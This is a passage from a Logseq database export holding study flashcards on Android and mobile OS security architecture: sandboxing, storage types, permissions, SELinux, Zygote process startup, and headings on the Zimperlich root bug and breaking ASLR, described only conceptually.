rootlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Flogseq____&quot;,212,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Vlogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-0232-4148-aecf-d8061e18c70flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Isolating each application in its own sandbox allows for fine-grained *resource management*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Flogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-314f-4e55-9764-bd12ab77e895logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*internal storage*: write files to ((67b74d96-f668-44e4-83c6-0760487f0281))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Flogseq____&quot;,205,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Vlogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Hlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-448e-4ad0-bcb9-4ad0b9cb41d8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`setUID()`\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Flogseq____&quot;,197,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:logseq.order-list-typelogseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-79d4-441d-a9cc-36d36bf1e6dblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for *group forming* and *content sharing* for apps form the same developerlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Flogseq____&quot;,193,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1516-4498-9437-b668bfd85232logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Private data folder for each applicationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Flogseq____&quot;,216,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a0af-4a0b-aa60-0f702744dafelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Unique home directory (system services allow access to other parts)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Flogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b186-4510-84d5-e9ef8a556188logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Zygote` calls `fork()` (setup DVM/ART)\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Flogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-79c8-4864-9b56-b736b0f6608flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Principle of Least Privilege]((67b73cc0-6cc9-4099-81fe-fb696e04c2e6)) enforced by *entitlements*(privileges) signing into an applogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Flogseq____&quot;,191,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-f295-47f7-8844-215e20282a2dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Additionally, SELinux Mandatory access controllogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Flogseq____&quot;,204,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a83d-4cdd-a6cf-b38d34639765logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Zygote` did not check the return value of `setUID`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Flogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Vlogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2322-4404-a417-0a15fb211311logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Zimperlich root exploitlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Flogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Vlogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Load APK app code\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Flogseq____&quot;,192,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-34f2-4acc-aaf0-d09c3720dbdblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Thrid party apps are sandboxedlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Flogseq____&quot;,219,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Vlogseq____&quot;,219,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c155-41f9-b32c-d7f30cf4846clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Attacks #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Flogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1ae0-458e-a59c-5e99097f2f22logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Breaking ALSRlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Flogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Vlogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b866-4262-87ee-39ec4a7bce74logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Application Isolation #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Flogseq____&quot;,209,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7d6b-4456-87b1-68e0a902becclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*external storage*: no privacy guaranteeslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Flogseq____&quot;,187,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Vlogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ac6f-486c-9bdf-6d24694cf8e2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*extensions* offer functionality to other apps (special-purpose, *separately sandboxed*, *signed* executables)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Flogseq____&quot;,189,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2aa4-4905-82d3-0c398a5a170alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Represented using for numbers (4: `read`, 2: `write`, 1: `execute`)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Flogseq____&quot;,206,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-903e-4781-bec4-8e617def8acalogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*shared preferences*: persistent key-value store (by default readable only for the owning app)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Flogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Vlogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-30b9-46d8-95cb-6b6417cbbfd1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only owner and root can change permissionslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Flogseq____&quot;,214,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-0146-4506-81d1-08a347d8827elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Starting Applications #cardlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Flogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-635c-453c-981e-908b49fb978alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart LR\\n subgraph App Process\\n subgraph Dalvik VM / ART\\n A[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B[Core libs]\\n end\\n C[\\logseq____&quot;JNI(Java Native Interface)\\logseq____&quot;]\\n D[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n E[Kernel]\\n\\n A logseq____&lt;--logseq____&gt; B\\n A logseq____&lt;--logseq____&gt; C\\n B logseq____&lt;-- syscalls --logseq____&gt; E\\n B logseq____&lt;--logseq____&gt; C\\n C logseq____&lt;--logseq____&gt; D\\n D logseq____&lt;-- syscalls --logseq____&gt; E\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Flogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Vlogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5fe6-46c5-95d6-df60201a09f9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General 